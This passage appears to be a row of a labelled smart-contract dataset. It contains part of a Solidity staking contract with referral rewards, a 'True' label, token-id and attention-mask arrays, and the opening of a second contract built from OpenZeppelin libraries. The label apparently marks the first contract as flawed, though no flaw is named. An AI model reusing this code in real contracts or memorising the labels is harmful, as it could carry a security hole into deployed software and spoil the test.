_upper1, address _upper2) = invite.inviteUpper2(msg.sender); computeReward(_pool); provideReward(_pool, poolInfo.rewardPerShare, poolInfo.lp, msg.sender, _upper1, _upper2); if (0 < _amount) { subPower(_pool, msg.sender, _amount, _upper1, _upper2); } setRewardDebt(_pool, poolInfo.rewardPerShare, msg.sender, _upper1, _upper2); } function poolPledgeAddresss(uint256 _pool) override external view returns (address[] memory) { return pledgeAddresss[_pool]; } function computeReward(uint256 _pool) internal { PoolInfo storage poolInfo = poolInfos[_pool]; if ((0 < poolInfo.totalPower) && (poolInfo.rewardProvide < poolInfo.rewardTotal)) { uint256 reward = (block.number - poolInfo.lastRewardBlock).mul(poolInfo.rewardPerBlock); if (poolInfo.rewardProvide.add(reward) > poolInfo.rewardTotal) { reward = poolInfo.rewardTotal.sub(poolInfo.rewardProvide); poolInfo.endBlock = block.number; } rewardTotal = rewardTotal.add(reward); poolInfo.rewardProvide = poolInfo.rewardProvide.add(reward); poolInfo.rewardPerShare = poolInfo.rewardPerShare.add(reward.mul(1e24).div(poolInfo.totalPower)); poolInfo.lastRewardBlock = block.number; emit Mint(_pool, poolInfo.lp, reward); if (0 < poolInfo.endBlock) { emit EndPool(_pool, poolInfo.lp); } } } function addPower(uint256 _pool, address _user, uint256 _amount, address _upper1, address _upper2) internal { PoolInfo storage poolInfo = poolInfos[_pool]; poolInfo.amount = poolInfo.amount.add(_amount); uint256 pledgePower = _amount; UserInfo storage userInfo = pledgeUserInfo[_pool][_user]; userInfo.amount = userInfo.amount.add(_amount); userInfo.pledgePower = userInfo.pledgePower.add(pledgePower); poolInfo.totalPower = poolInfo.totalPower.add(pledgePower); if (0 == userInfo.startBlock) { userInfo.startBlock = block.number; pledgeAddresss[_pool].push(msg.sender); } uint256 upper1InvitePower = 0; uint256 upper2InvitePower = 0; if (address(0) != _upper1) { uint256 inviteSelfPower = pledgePower.mul(inviteSelfReward).div(100); userInfo.invitePower = userInfo.invitePower.add(inviteSelfPower); poolInfo.totalPower = poolInfo.totalPower.add(inviteSelfPower); uint256 invite1Power = pledgePower.mul(invite1Reward).div(100); UserInfo storage upper1Info = pledgeUserInfo[_pool][_upper1]; upper1Info.invitePower = upper1Info.invitePower.add(invite1Power); upper1InvitePower = upper1Info.invitePower; poolInfo.totalPower = poolInfo.totalPower.add(invite1Power); if (0 == upper1Info.startBlock) { upper1Info.startBlock = block.number; pledgeAddresss[_pool].push(_upper1); } } if (address(0) != _upper2) { uint256 invite2Power = pledgePower.mul(invite2Reward).div(100); UserInfo storage upper2Info = pledgeUserInfo[_pool][_upper2]; upper2Info.invitePower = upper2Info.invitePower.add(invite2Power); upper2InvitePower = upper2Info.invitePower; poolInfo.totalPower = poolInfo.totalPower.add(invite2Power); if (0 == upper2Info.startBlock) { upper2Info.startBlock = block.number; pledgeAddresss[_pool].push(_upper2); } } emit UpdatePower(_pool, poolInfo.lp, poolInfo.totalPower, _user, userInfo.invitePower, userInfo.pledgePower, _upper1, upper1InvitePower, _upper2, upper2InvitePower); } function subPower(uint256 _pool, address _user, uint256 _amount, address _upper1, address _upper2) internal { PoolInfo storage poolInfo = poolInfos[_pool]; UserInfo storage userInfo = pledgeUserInfo[_pool][_user]; poolInfo.amount = poolInfo.amount.sub(_amount); uint256 pledgePower = _amount; userInfo.amount = userInfo.amount.sub(_amount); userInfo.pledgePower = userInfo.pledgePower.sub(pledgePower); poolInfo.totalPower = poolInfo.totalPower.sub(pledgePower); uint256 upper1InvitePower = 0; uint256 upper2InvitePower = 0; if (address(0) != _upper1) { uint256 inviteSelfPower = pledgePower.mul(inviteSelfReward).div(100); userInfo.invitePower = userInfo.invitePower.sub(inviteSelfPower); poolInfo.totalPower = poolInfo.totalPower.sub(inviteSelfPower); UserInfo storage upper1Info = pledgeUserInfo[_pool][_upper1]; if (0 < upper1Info.startBlock) { uint256 invite1Power = pledgePower.mul(invite1Reward).div(100); upper1Info.invitePower = upper1Info.invitePower.sub(invite1Power); upper1InvitePower = upper1Info.invitePower; poolInfo.totalPower = poolInfo.totalPower.sub(invite1Power); if (address(0) != _upper2) { UserInfo storage upper2Info = pledgeUserInfo[_pool][_upper2]; if (0 < upper2Info.startBlock) { uint256 invite2Power = pledgePower.mul(invite2Reward).div(100); upper2Info.invitePower = upper2Info.invitePower.sub(invite2Power); upper2InvitePower = upper2Info.invitePower; poolInfo.totalPower = poolInfo.totalPower.sub(invite2Power); } } } } emit UpdatePower(_pool, poolInfo.lp, poolInfo.totalPower, _user, userInfo.invitePower, userInfo.pledgePower, _upper1, upper1InvitePower, _upper2, upper2InvitePower); } function provideReward(uint256 _pool, uint256 _rewardPerShare, address _lp, address _user, address _upper1, address _upper2) internal { uint256 inviteReward = 0; uint256 pledgeReward = 0; UserInfo storage userInfo = pledgeUserInfo[_pool][_user]; if ((0 < userInfo.invitePower) \|\| (0 < userInfo.pledgePower)) { inviteReward = userInfo.invitePower.mul(_rewardPerShare).sub(userInfo.inviteRewardDebt).div(1e24); pledgeReward = userInfo.pledgePower.mul(_rewardPerShare).sub(userInfo.pledgeRewardDebt).div(1e24); userInfo.pendingReward = userInfo.pendingReward.add(inviteReward.add(pledgeReward)); RewardInfo storage userRewardInfo = rewardInfos[_user]; userRewardInfo.inviteReward = userRewardInfo.inviteReward.add(inviteReward); userRewardInfo.pledgeReward = userRewardInfo.pledgeReward.add(pledgeReward); } if (0 < userInfo.pendingReward) { you.mint(_user, userInfo.pendingReward); RewardInfo storage userRewardInfo = rewardInfos[_user]; userRewardInfo.receiveReward = userRewardInfo.inviteReward; emit WithdrawReward(_pool, _lp, _user, userInfo.pendingReward); userInfo.pendingReward = 0; } if (address(0) != _upper1) { UserInfo storage upper1Info = pledgeUserInfo[_pool][_upper1]; if ((0 < upper1Info.invitePower) \|\| (0 < upper1Info.pledgePower)) { inviteReward = upper1Info.invitePower.mul(_rewardPerShare).sub(upper1Info.inviteRewardDebt).div(1e24); pledgeReward = upper1Info.pledgePower.mul(_rewardPerShare).sub(upper1Info.pledgeRewardDebt).div(1e24); upper1Info.pendingReward = upper1Info.pendingReward.add(inviteReward.add(pledgeReward)); RewardInfo storage upper1RewardInfo = rewardInfos[_upper1]; upper1RewardInfo.inviteReward = upper1RewardInfo.inviteReward.add(inviteReward); upper1RewardInfo.pledgeReward = upper1RewardInfo.pledgeReward.add(pledgeReward); } if (address(0) != _upper2) { UserInfo storage upper2Info = pledgeUserInfo[_pool][_upper2]; if ((0 < upper2Info.invitePower) \|\| (0 < upper2Info.pledgePower)) { inviteReward = upper2Info.invitePower.mul(_rewardPerShare).sub(upper2Info.inviteRewardDebt).div(1e24); pledgeReward = upper2Info.pledgePower.mul(_rewardPerShare).sub(upper2Info.pledgeRewardDebt).div(1e24); upper2Info.pendingReward = upper2Info.pendingReward.add(inviteReward.add(pledgeReward)); RewardInfo storage upper2RewardInfo = rewardInfos[_upper2]; upper2RewardInfo.inviteReward = upper2RewardInfo.inviteReward.add(inviteReward); upper2RewardInfo.pledgeReward = upper2RewardInfo.pledgeReward.add(pledgeReward); } } } } function setRewardDebt(uint256 _pool, uint256 _rewardPerShare, address _user, address _upper1, address _upper2) internal { UserInfo storage userInfo = pledgeUserInfo[_pool][_user]; userInfo.inviteRewardDebt = userInfo.invitePower.mul(_rewardPerShare); userInfo.pledgeRewardDebt = userInfo.pledgePower.mul(_rewardPerShare); if (address(0) != _upper1) { UserInfo storage upper1Info = pledgeUserInfo[_pool][_upper1]; upper1Info.inviteRewardDebt = upper1Info.invitePower.mul(_rewardPerShare); upper1Info.pledgeRewardDebt = upper1Info.pledgePower.mul(_rewardPerShare); if (address(0) != _upper2) { UserInfo storage upper2Info = pledgeUserInfo[_pool][_upper2]; upper2Info.inviteRewardDebt = upper2Info.invitePower.mul(_rewardPerShare); upper2Info.pledgeRewardDebt = upper2Info.pledgePower.mul(_rewardPerShare); } } } function powerScale(uint256 _pool, address _user) override external view returns (uint256) { PoolInfo memory poolInfo = poolInfos[_pool]; if (0 == poolInfo.totalPower) { return 0; } UserInfo memory userInfo = pledgeUserInfo[_pool][_user]; return (userInfo.invitePower.add(userInfo.pledgePower).mul(100)).div(poolInfo.totalPower); } function pendingReward(uint256 _pool, address _user) override external view returns (uint256) { uint256 totalReward = 0; PoolInfo memory poolInfo = poolInfos[_pool]; if (address(0) != poolInfo.lp && (poolInfo.startBlock <= block.number)) { uint256 rewardPerShare = 0; if (0 < poolInfo.totalPower) { uint256 reward = (block.number - poolInfo.lastRewardBlock).mul(poolInfo.rewardPerBlock); if (poolInfo.rewardProvide.add(reward) > poolInfo.rewardTotal) { reward = poolInfo.rewardTotal.sub(poolInfo.rewardProvide); } rewardPerShare = reward.mul(1e24).div(poolInfo.totalPower); } rewardPerShare = rewardPerShare.add(poolInfo.rewardPerShare); UserInfo memory userInfo = pledgeUserInfo[_pool][_user]; totalReward = userInfo.pendingReward; totalReward = totalReward.add(userInfo.invitePower.mul(rewardPerShare).sub(userInfo.inviteRewardDebt).div(1e24)); totalReward = totalReward.add(userInfo.pledgePower.mul(rewardPerShare).sub(userInfo.pledgeRewardDebt).div(1e24)); } return totalReward; } function rewardContribute(address _user, address _lower) override external view returns (uint256) { if ((address(0) == _user) \|\| (address(0) == _lower)) { return 0; } uint256 inviteReward = 0; (address upper1, address upper2) = invite.inviteUpper2(_lower); if (_user == upper1) { inviteReward = rewardInfos[_lower].pledgeReward.mul(invite1Reward).div(100); }else if (_user == upper2) { inviteReward = rewardInfos[_lower].pledgeReward.mul(invite2Reward).div(100); } return inviteReward; } function selfReward(address _user) override external view returns (uint256) { address upper1 = invite.inviteUpper1(_user); if (address(0) == upper1) { return 0; } RewardInfo memory userRewardInfo = rewardInfos[_user]; return userRewardInfo.pledgeReward.mul(inviteSelfReward).div(100); } function poolNumbers(address _lp) override external view returns (uint256[] memory) { uint256 count = 0; for (uint256 i = 0; i < poolCount; i++) { if (_lp == poolViewInfos[i].lp) { count = count.add(1); } } uint256[] memory numbers = new uint256[](count); count = 0; for (uint256 i = 0; i < poolCount; i++) { if (_lp == poolViewInfos[i].lp) { numbers[count] = i; count = count.add(1); } } return numbers; } function setOperateOwner(address _address, bool _bool) override external { _setOperateOwner(_address, _bool); } function _setOperateOwner(address _address, bool _bool) internal { require(owner == msg.sender, ErrorCode.FORBIDDEN); operateOwner[_address] = _bool; } //////////////////////////////////////////////////////////////////////////////////// function addPool(string memory _name, address _lp, uint256 _startBlock, uint256 _rewardTotal) override external returns (bool) { require(operateOwner[msg.sender] && (address(0) != _lp) && (address(this) != _lp), ErrorCode.FORBIDDEN); _startBlock = _startBlock < block.number ? block.number : _startBlock; uint256 _pool = poolCount; poolCount = poolCount.add(1); PoolViewInfo storage poolViewInfo = poolViewInfos[_pool]; poolViewInfo.lp = _lp; poolViewInfo.name = _name; poolViewInfo.multiple = 1; poolViewInfo.priority = _pool.mul(100); PoolInfo storage poolInfo = poolInfos[_pool]; poolInfo.startBlock = _startBlock; poolInfo.rewardTotal = _rewardTotal; poolInfo.rewardProvide = 0; poolInfo.lp = _lp; poolInfo.amount = 0; poolInfo.lastRewardBlock = _startBlock.sub(1); poolInfo.rewardPerBlock = rewardPerBlock; poolInfo.totalPower = 0; poolInfo.endBlock = 0; poolInfo.rewardPerShare = 0; emit UpdatePool(true, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); return true; } function setRewardPerBlock(uint256 _pool, uint256 _rewardPerBlock) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolInfo storage poolInfo = poolInfos[_pool]; require((address(0) != poolInfo.lp) && (0 == poolInfo.endBlock), ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); poolInfo.rewardPerBlock = _rewardPerBlock; PoolViewInfo memory poolViewInfo = poolViewInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } function setRewardTotal(uint256 _pool, uint256 _rewardTotal) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolInfo storage poolInfo = poolInfos[_pool]; require((address(0) != poolInfo.lp) && (0 == poolInfo.endBlock), ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); require(poolInfo.rewardProvide < _rewardTotal, ErrorCode.REWARDTOTAL_LESS_THAN_REWARDPROVIDE); poolInfo.rewardTotal = _rewardTotal; PoolViewInfo memory poolViewInfo = poolViewInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } function setName(uint256 _pool, string memory _name) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolViewInfo storage poolViewInfo = poolViewInfos[_pool]; require(address(0) != poolViewInfo.lp, ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); poolViewInfo.name = _name; PoolInfo memory poolInfo = poolInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } function setMultiple(uint256 _pool, uint256 _multiple) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolViewInfo storage poolViewInfo = poolViewInfos[_pool]; require(address(0) != poolViewInfo.lp, ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); poolViewInfo.multiple = _multiple; PoolInfo memory poolInfo = poolInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } function setPriority(uint256 _pool, uint256 _priority) override external { require(operateOwner[msg.sender], ErrorCode.FORBIDDEN); PoolViewInfo storage poolViewInfo = poolViewInfos[_pool]; require(address(0) != poolViewInfo.lp, ErrorCode.POOL_NOT_EXIST_OR_END_OF_MINING); poolViewInfo.priority = _priority; PoolInfo memory poolInfo = poolInfos[_pool]; emit UpdatePool(false, _pool, poolInfo.lp, poolViewInfo.name, poolInfo.startBlock, poolInfo.rewardTotal, poolInfo.rewardPerBlock, poolViewInfo.multiple, poolViewInfo.priority); } //////////////////////////////////////////////////////////////////////////////////// }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6021, 1011, 2423, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6021, 1011, 2423, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1016, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 2008, 2019, 4769, 2005, 2029, 2023, 3853, 5651, 1008, 6270, 2003, 2019, 27223, 1011, 3079, 4070, 1006, 1041, 10441, 1007, 1998, 2025, 1037, 3206, 1012, 1008, 1008, 2426, 2500, 1010, 1036, 2003, 8663, 6494, 6593, 1036, 2097, 2709, 6270, 2005, 1996, 2206, 1008, 4127, 1997, 11596, 1024, 1008, 1008, 1011, 2019, 27223, 1011, 3079, 4070, 1008, 1011, 1037, 3206, 1999, 2810, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2097, 2022, 2580, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2973, 1010, 2021, 2001, 3908, 1008, 1027, 1027, 1027, 1027, 1008, 1013, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 1013, 1013, 2023, 4118, 16803, 2006, 4654, 13535, 19847, 4697, 1010, 2029, 5651, 1014, 2005, 8311, 1999, 1013, 1013, 2810, 1010, 2144, 1996, 3642, 2003, 2069, 8250, 2012, 1996, 2203, 1997, 1996, 1013, 1013, 9570, 2953, 7781, 1012, 21318, 3372, 17788, 2575, 2946, 1025, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 2279, 1011, 2240, 2053, 1011, 23881, 1011, 3320, 3320, 1063, 2946, 1024, 1027, 4654, 13535, 19847, 4697, 1006, 4070, 1007, 1065, 2709, 2946, 1028, 1014, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 6110, 2005, 5024, 3012, 1005, 1055, 1036, 4651, 1036, 1024, 10255, 1036, 3815, 1036, 11417, 2000, 1008, 1036, 7799, 1036, 1010, 2830, 2075, 2035, 2800, 3806, 1998, 7065, 8743, 2075, 2006, 10697, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 6988, 1031, 1041, 11514, 15136, 2620, 2549, 1033, 7457, 1996, 3806, 3465, 1008, 1997, 3056, 6728, 23237, 1010, 4298, 2437, 8311, 2175, 2058, 1996, 11816, 2692, 3806, 5787, 1008, 9770, 2011, 1036, 4651, 1036, 1010, 2437, 2068, 4039, 2000, 4374, 5029, 3081, 1008, 1036, 4651, 1036, 1012, 1063, 4604, 10175, 5657, 1065, 20362, 2023, 22718, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 29454, 29206, 3401, 1012, 9530, 5054, 6508, 2015, 1012, 5658, 1013, 8466, 1013, 10476, 1013, 5641, 1013, 2644, 1011, 2478, 1011, 5024, 3012, 2015, 1011, 4651, 1011, 2085, 1013, 1031, 4553, 2062, 1033, 1012, 1008, 1008, 2590, 1024, 2138, 2491, 2003, 4015, 2000, 1036, 7799, 1036, 1010, 2729, 2442, 2022, 1008, 2579, 2000, 2025, 3443, 2128, 4765, 5521, 5666, 24728, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-03-07 / /** Submitted for verification at Etherscan.io on 2022-03-01 / /** Submitted for verification at Etherscan.io on 2022-02-26 / /** Submitted for verification at Etherscan.io on 2022-02-22 / // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` / library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to 